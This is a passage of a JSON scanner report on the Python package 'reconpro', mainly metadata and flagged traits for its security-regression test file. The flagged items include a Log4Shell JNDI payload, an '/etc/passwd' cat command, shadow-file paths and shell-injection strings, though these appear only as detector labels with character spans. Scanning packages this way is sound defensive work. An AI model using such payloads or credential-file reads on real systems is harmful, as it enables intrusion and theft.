"reconpro.utils" ], [ "", "safe_float" ], [ "", "safe_int" ], [ "", "scan" ], [ "", "sys" ], [ "", "tempfile" ], [ "", "truncate" ], [ "", "unittest" ], [ "", "unittest.mock" ], [ "", "validate_target" ] ], "mbr": [ "content.strip", "content.strip.startswith", "d.description", "d.evidence", "d.module", "d.remediation", "d.title", "f.name", "f.read", "f.to_dict", "json.dumps", "json.load", "json.loads", "loaded.findings", "loaded.target", "os.path", "os.path.abspath", "os.path.dirname", "os.path.exists", "os.path.join", "os.unlink", "result.startswith", "sarif.runs", "self.assertEqual", "self.assertFalse", "self.assertIn", "self.assertIsInstance", "self.assertNotIn", "self.assertRaises", "self.assertTrue", "sys.path", "sys.path.insert", "tempfile.NamedTemporaryFile", "tempfile.TemporaryDirectory", "unittest.TestCase", "unittest.main" ], "tgt": [ "Finding", "content.strip", "content.strip.startswith", "export_json", "export_markdown", "export_pdf", "export_sarif", "extract_host", "f.read", "f.to_dict", "json.dumps", "json.load", "json.loads", "len", "normalize_base_url", "open", "os.path.abspath", "os.path.dirname", "os.path.exists", "os.path.join", "os.unlink", "range", "result.startswith", "scan", "self.assertEqual", "self.assertFalse", "self.assertIn", "self.assertIsInstance", "self.assertNotIn", "self.assertRaises", "self.assertTrue", "sys.path.insert", "tempfile.NamedTemporaryFile", "tempfile.TemporaryDirectory", "truncate", "unittest.main", "validate_target" ], "funcs": [ [ "test_sql_in_title", 1024 ], [ "test_sql_in_description", 1523 ], [ "test_sql_in_evidence", 1883 ], [ "test_sql_in_remediation", 2247 ], [ "test_sqli_in_export_sarif", 2640 ], [ "test_xss_in_title", 4077 ], [ "test_xss_in_description", 4481 ], [ "test_xss_in_evidence", 4848 ], [ "test_xss_in_export_markdown", 5195 ], [ "test_xss_in_export_pdf", 6338 ], [ "test_path_traversal_in_export", 7785 ], [ "test_path_traversal_with_dotdot", 8506 ], [ "test_command_injection_rejected_by_validate", 9273 ], [ "test_scan_raises_on_command_injection", 9865 ], [ "test_extract_host_safe_with_injection", 10253 ], [ "test_null_in_title", 10992 ], [ "test_null_in_evidence", 11318 ], [ "test_null_in_description", 11667 ], [ "test_null_in_export", 12015 ], [ "test_fullwidth_chars", 12940 ], [ "test_zero_width_chars", 13199 ], [ "test_unicode_in_extract_host", 13429 ], [ "test_unicode_in_normalize", 13779 ], [ "test_very_long_title", 14269 ], [ "test_very_long_evidence", 14625 ], [ "test_very_long_target_validated", 14996 ], [ "test_truncate_on_huge_string", 15169 ], [ "test_export_with_large_data", 15335 ], [ "test_prototype_key_in_json_export", 16518 ], [ "test_constructor_key_in_finding", 17183 ], [ "test_json_with_nested_prototype", 17585 ], [ "test_ldap_injection_rejected", 18494 ], [ "test_ldap_in_extract_host", 18883 ], [ "test_xml_in_evidence", 19326 ], [ "test_xml_in_export_json", 19728 ], [ "test_header_in_module_name", 21022 ], [ "test_header_in_export", 21374 ], [ "test_log_injection_in_description", 22660 ], [ "test_crlf_in_evidence", 23063 ], [ "test_log4j_pattern", 23443 ], [ "test_template_in_remediation", 24168 ], [ "test_jinja2_in_remediation", 24558 ], [ "test_template_in_export", 24968 ] ], "metrics": { "ast": { "op.add": 1, "op.lor": 4, "op.mul": 5, "max_depth": 17, "call_count": 160, "node_count": 6162, "member_count": 36, "max_array_len": 6, "op_density.add": 0, "op_density.lor": 0, "op_density.mul": 0, "max_concat_chain": 3, "member_depth_max": 3 }, "file": { "size": 26059, "entropy": 4.49 }, "text": { "lines": 761, "top_char": 101, "max_ws_run": 2, "digit_ratio": 0.01, "space_count": 7977, "char_entropy": 4.49, "unique_chars": 118, "top_char_null": 0, "escape_density": 0.02, "string_density": 0.63, "top_char_ratio": 0.06, "avg_line_length": 33.24, "max_line_length": 200, "non_ascii_ratio": 0.08, "empty_line_ratio": 0.13, "hex_escape_count": 5, "last_line_length": 19, "long_token_count": 13, "whitespace_ratio": 0.34, "identifier_density": 1.14, "line_length_stddev": 27.75, "normalized_string_count": 17.51, "repeated_char_sequences": 395, "suspicious_string_ratio": 0.04, "suspicious_comment_ratio": 0.04, "suspicious_identifier_ratio": 0.03, "normalized_unique_identifiers": 16.09 }, "binds": { "count": 92 }, "binary": { "peak_region_bytes": 12288, "peak_region_entropy": 4.8 }, "source": { "class_count": 13, "function_count": 43 }, "imports": { "count": 27, "stdlib_count": 6, "stdlib_ratio": 0.22, "third_party_count": 21, "third_party_ratio": 0.78 }, "strings": { "sql": 7, "bytes": 5358, "count": 483, "shell": 5, "url_count": 5, "avg_length": 11.09, "max_length": 195, "path_count": 6, "avg_entropy": 2.12, "domain_count": 13, "entropy_stddev": 1.39, "high_entropy_count": 1, "embedded_code_candidates": 8 }, "comments": { "chars": 2841, "count": 26, "lines": 26, "high_entropy": 1, "to_code_ratio": 0.04 }, "functions": { "count": 56, "density": 5.65, "avg_params": 1, "code_ratio": 0.78, "max_params": 1, "length_stddev": 6.68, "avg_name_length": 25.26, "avg_length_lines": 13.84, "max_length_lines": 29, "min_length_lines": 3, "high_entropy_names": 26, "avg_param_name_length": 4 }, "identifiers": { "count": 865, "unique": 154, "avg_length": 14.16, "max_length": 43, "min_length": 1, "avg_entropy": 2.82, "reuse_ratio": 0.18, "length_stddev": 9.85, "has_digit_ratio": 0.01, "sequential_names": 4, "single_char_count": 4, "single_char_ratio": 0.03, "high_entropy_count": 41, "high_entropy_ratio": 0.27, "all_lowercase_ratio": 0.81, "double_underscore_count": 2, "underscore_prefix_count": 2 } } }, "id": 204, "mol": "O₇(Xe₃AsCaILa₂PrS)H₄(Cm₃Db₆F₃Os₂)Md₂(Pa₂)Th", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_security_regression.py", "pid": 0, "risk": 166, "sha": "5aeba3ab23d6098e4cbecddbdf5ac6fc57ec808f67d399f738bacf6d7e695c19", "size": 26059, "traits": [ { "id": "metadata/file/encoded::embedded-code-candidates-6", "conf": 0.8, "crit": 3, "desc": "Source has 6+ code-like string candidates", "spans": [ [ 0, 39 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 6416, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "spans": [ [ 67, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 29, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 2760, 0 ] ] }, { "id": "metadata/package/testing/corpus::xss-category-label", "conf": 0.9, "crit": 3, "desc": "XSS attack category label", "spans": [ [ 3804, 3 ] ] }, { "id": "metadata/package/testing/harness/unit::python-unittest-import", "conf": 0.95, "crit": 3, "desc": "Python unittest import", "spans": [ [ 247, 16 ] ] }, { "id": "metadata/package/testing/harness/unit::python-unittest-testcase-marker", "conf": 0.95, "crit": 3, "desc": "Python unittest TestCase marker", "spans": [ [ 906, 55 ], [ 3963, 46 ], [ 7676, 56 ], [ 9161, 59 ], [ 10884, 50 ], [ 12812, 63 ], [ 14148, 57 ], [ 16396, 61 ] ] }, { "id": "metadata/package/testing/presence/harness::python-test-file", "conf": 0.7, "crit": 2, "desc": "Python test file suffix", "spans": [ [ 0, 0 ] ] }, { "id": "metadata/package/testing/presence/harness::python-test-file-content", "conf": 0.8, "crit": 2, "desc": "Python test source content", "spans": [ [ 14149, 0 ] ] }, { "id": "metadata/package/testing/presence/harness::test-directory-path", "conf": 1.0, "crit": 2, "desc": "File is in common test directory", "spans": [ [ 0, 0 ] ] }, { "id": "metadata/package/testing/presence/path::tests-path-basename", "conf": 1.0, "crit": 2, "desc": "Tests path basename", "spans": [ [ 0, 0 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-path", "atk": "T1071.001", "conf": 0.88, "crit": 3, "desc": "HTTP login path", "spans": [ [ 3354, 6 ] ] }, { "id": "micro-behaviors/communications/http/services/entra-directory::user-collection-path-token", "conf": 0.92, "crit": 3, "desc": "Microsoft Graph user collection endpoint", "spans": [ [ 1325, 6 ] ] }, { "id": "micro-behaviors/communications/http/url/endpoint::rest-admin-config-user-endpoints", "atk": "T1071.001", "mbc": "C0002", "conf": 0.86, "crit": 3, "desc": "REST admin config endpoints", "spans": [ [ 1320, 11 ] ] }, { "id": "micro-behaviors/data/buffer::overflow-padding-buffer", "conf": 0.9, "crit": 3, "desc": "Builds a large repeated-byte padding sled", "spans": [ [ 14317, 12 ] ] }, { "id": "micro-behaviors/data/control-flow/error-handling::silent-exception-pass", "atk": "T1027", "mbc": "C0027", "conf": 0.85, "crit": 3, "desc": "exception suppression via try/except pass", "spans": [ [ 8411, 50 ] ] }, { "id": "micro-behaviors/data/control-flow/loop::python-range-loop-large-bound", "conf": 0.85, "crit": 3, "desc": "Uses a large-bound Python range loop", "spans": [ [ 15944, 18 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-password", "conf": 0.85, "crit": 1, "desc": "Connection password key", "spans": [ [ 18621, 0 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::result-assignment-key", "conf": 0.4, "crit": 1, "desc": "Result field or assignment key", "spans": [ [ 10560, 0 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-dumps-call", "conf": 0.9, "crit": 2, "desc": "Serializes data with Python json.dumps()", "spans": [ [ 18078, 0 ] ] }, { "id": "micro-behaviors/fs/build-artifacts::unittest-testcase-context", "conf": 1.0, "crit": 3, "desc": "unittest TestCase cleanup context", "spans": [ [ 942, 17 ] ] }, { "id": "micro-behaviors/fs/delete/file/library::py-remove", "conf": 0.8, "crit": 2, "desc": "File deletion (os.remove/os.unlink)", "spans": [ [ 3774, 0 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-account-database-path-reference", "conf": 0.95, "crit": 3, "desc": "Unix account database path reference", "spans": [ [ 9379, 11 ], [ 10113, 11 ] ] }, { "id": "micro-behaviors/fs/temp/directory::python-temporary-directory-context", "conf": 0.9, "crit": 3, "desc": "Uses a Python TemporaryDirectory context", "spans": [ [ 7917, 27 ] ] }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "spans": [ [ 18612, 5 ] ] }, { "id": "objectives/anti-static/obfuscation/payload/encrypted::aes-key-field-token", "atk": "T1573.001,T1027", "mbc": "C0027", "conf": 0.8, "crit": 3, "desc": "AES or generic key field name", "spans": [ [ 24450, 10 ] ] }, { "id": "objectives/execution/exploit/command-injection::log4shell-jndi-lookup-payload", "atk": "T1190", "mbc": "E1190", "conf": 0.99, "crit": 4, "desc": "Log4Shell JNDI lookup payload", "spans": [ [ 23672, 14 ], [ 23728, 13 ] ] }, { "id": "objectives/execution/exploit/http-command-injection::shell-control-string-literal", "atk": "T1059,T1190", "mbc": "B0024", "conf": 0.9, "crit": 3, "desc": "Shell separator plus command token", "spans": [ [ 10064, 15 ], [ 10402, 21 ] ] }, { "id": "objectives/execution/exploit/http-command-injection::shell-parenthesized-command-string-literal", "atk": "T1059,T1190", "mbc": "B0024", "conf": 0.98, "crit": 3, "desc": "Parenthesized shell command string", "spans": [ [ 9523, 9 ] ] }, { "id": "objectives/execution/interpreter/cmd/injection::command-injection-comments", "atk": "T1059.006", "conf": 0.75, "crit": 3, "desc": "Command injection vulnerability comments", "spans": [ [ 8981, 17 ] ] }, { "id": "objectives/impact/crypto-manipulation/weakening::generator-before-script", "atk": "T1565.001", "conf": 0.94, "crit": 3, "desc": "Orders generator before script", "spans": [ [ 4381, 79 ], [ 4746, 75 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::file-inclusion-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Local-file inclusion probe payload", "spans": [ [ 9379, 11 ] ] }, { "id": "objectives/lateral-movement/smb::ntlm-relay-ldap-target", "conf": 0.97, "crit": 3, "desc": "References an LDAP endpoint", "spans": [ [ 23679, 7 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::redsun-cloud-tag-abuse--rx-5", "conf": 0.95, "crit": 3, "desc": "Remediation term", "spans": [ [ 2263, 11 ] ] }, { "id": "micro-behaviors/data/control-flow/module-exec::module-level-side-effect-call", "conf": 0.82, "crit": 3, "desc": "Python module-level function call", "spans": [ [ 265, 71 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-drop-object", "conf": 0.8, "crit": 3, "desc": "DROP SQL object syntax reference", "spans": [ [ 1096, 10 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-quoted-tautology-payload", "conf": 0.92, "crit": 3, "desc": "Quoted SQL tautology payload literal", "spans": [ [ 1288, 11 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-select", "conf": 0.6, "crit": 3, "desc": "SQL SELECT syntax reference", "spans": [ [ 1232, 19 ], [ 2101, 25 ], [ 3295, 26 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-load-call", "conf": 0.9, "crit": 3, "desc": "Python json.load call", "spans": [ [ 3641, 9 ] ] }, { "id": "micro-behaviors/data/serialize/json::json-loads-call", "conf": 0.9, "crit": 3, "desc": "Parses JSON data with Python", "spans": [ [ 18112, 10 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::etc-passwd-cat", "atk": "T1033", "conf": 0.8, "crit": 3, "desc": "/etc/passwd read via cat command", "spans": [ [ 9373, 17 ] ] }, { "id": "micro-behaviors/os/module/search-path::sys-path-mutate", "conf": 0.86, "crit": 3, "desc": "Modifies module search path (sys.path)", "spans": [ [ 265, 15 ] ] }, { "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-6", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "Authorized-keys or shadow-file path literal", "spans": [ [ 10113, 11 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-shadow-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Account database path marker", "spans": [ [ 9378, 12 ] ] }, { "id": "metadata/package/testing/harness/runtime::is-test", "conf": 0.9, "crit": 2, "desc": "Test, spec, or fixture file", "uses": [ 8 ], "spans": [ [ 0, 0 ] ] }, { "id": "metadata/package/testing/presence/harness::test-directory", "conf": 1.0, "crit": 2, "desc": "File identified as a test by path or name", "uses": [ 8, 10 ], "spans": [ [ 0, 0 ] ] }, { "id": "metadata/package/testing/presence/harness::test-or-declaration-file", "conf": 0.85, "crit": 1, "desc": "File is a test or type-declaration source file", "uses": [ 45 ], "spans": [ [ 0, 0 ] ] }, { "id": "third_party/SigBase/EXPL/Log4J/CVE/2021/44228/Dec21/Soft", "conf": 0.9, "crit": 5, "desc": "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228", "spans": [ [ 23672, 13 ], [ 23728, 12 ] ] } ], "type": "python" }, { "id": 205, "mol": "K(Li)O₃(AsLaS₂)H₆(Cm₂Db₆F₄OsPo₂Ti)Md₂(Pa)", "sha": "b6f7acf1136bce65d86d771ba87d6558b777c9a2c9330dae1aee5ff592d2eb57", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_security_sweep.py", "risk": 19, "size": 28294, "type": "python", "depth": 1 }, { "id": 206, "mol": "O(Pr)H₃(Db₅FOs)Md(Pa)", "sha": "7324ebb2999541b9fa19cd41a94aa9a8b309b45a8548a493e976b25f2aa09954", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_stress.py", "risk": 8, "size": 14416, "type": "python", "depth": 1 }, { "id": 207, "mol": "K(Te)O₃(DyLa₂Xe)H₃(DbFOs₂)Md₂(Pa₂)", "sha": "6f1f112ec7b9342ff631bfec6c449ebf43fe06641421bb94166254bf747b3bcf", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_threat_intel.py", "risk": 12, "size": 11631, "type": "python", "depth": 1 }, { "id": 208, "mol": "K(Li)H₄(CmDbFOs)Md(Pa)", "sha": "9615aa41ab54e4c1959d7e2edc97a6a3db765e2173923e7c1023d81b8da5609b", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/tests/test_utils.py", "risk": 6, "size": 20177, "type": "python", "depth": 1 }, { "id": 209, "mol": "H(Cm)", "sha": "927fc54a3752668ff2f9b5cd031c92086f02df4c74e3f8e8c6e0610d213eaa10", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/widgets/__init__.py", "risk": 1, "size": 973, "type": "python", "depth": 1 }, { "id": 210, "mol": "O₄(CDyPrXe)H₃(Cm₂CrDb₄)Md(Pa)", "sha": "754b14ae17409871142ef995708c35aec5999076fadc854d67c048b98d5ebdbf", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/widgets/command_completer.py", "risk": 11, "size": 21121, "type": "python", "depth": 1 }, { "id": 211, "mol": "O₃(DyPrXe)H(Db₂)Md(Pa)", "sha": "6d3015a1c6f1b8f1e051233b666f358c27b7eb30bc0a8ef6573cbc6e5949f611", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/widgets/hint_bar.py", "risk": 7, "size": 14062, "type": "python", "depth": 1 }, { "id": 212, "mol": "H(Db)", "sha": "d043ef548872a5f2ae7634a262bd25da040e403c54ca96ed129b5bdc2776618b", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/widgets/score_gauge.py", "risk": 1, "size": 8375, "type": "python", "depth": 1 }, { "id": 213, "mol": "H₂(CrDb₂)", "sha": "2f8e13e088a59cd125869b1f304888fe8c12a1be61eb06fd7bf2ec8f85a6988b", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/widgets/sparkline.py", "risk": 3, "size": 8087, "type": "python", "depth": 1 }, { "id": 214, "mol": "H(Db)", "sha": "8dbf553e07fa411077aa61ea008cbfbe5ce865638ab07ad4fe615b76e95c9ebf", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/widgets/stat_counter.py", "risk": 1, "size": 6397, "type": "python", "depth": 1 }, { "id": 215, "mol": "H(Db)", "sha": "6763e9e8248679a318f42e251aacdb21262547dee1e42be57c6748330c39a0d6", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/widgets/toast.py", "risk": 1, "size": 6296, "type": "python", "depth": 1 }, { "id": 216, "mol": "H(Db)", "sha": "11c8034adf162e782aefb605c10acac740efa9081674df9aa19de3d02a97072a", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/widgets/velocity_meter.py", "risk": 1, "size": 8120, "type": "python", "depth": 1 }, { "id": 218, "mol": "K(Li)Md(Pa₂)", "sha": "53949124590ede12471ad6370c9ed740547afd1c2de07faca7352cea66dd3219", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro-11.1.0.dist-info/METADATA", "risk": 3, "size": 9506, "type": "pkg_info", "depth": 1 }, { "id": 219, "mol": "Md(Pa)", "sha": "b4821ef1dcb874f694a7255a81def02c6fd1ca9a054f939c5831d0d3b2bf815d", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro-11.1.0.dist-info/entry_points.txt", "risk": 1, "size": 47, "type": "text", "depth": 1 }, { "id": 221, "mol": "Md(Re)", "sha": "9b05b99ff884911d8ba9463c1cd9a02e32aa67b5386de3370b77a2c4c6dae04c", "path": "reconpro@11.1.0.registry.json", "risk": 1, "size": 887, "type": "registry", "depth": 1 } ], "omitted_files": 205, "rev": "e86a6", "v": "8" } }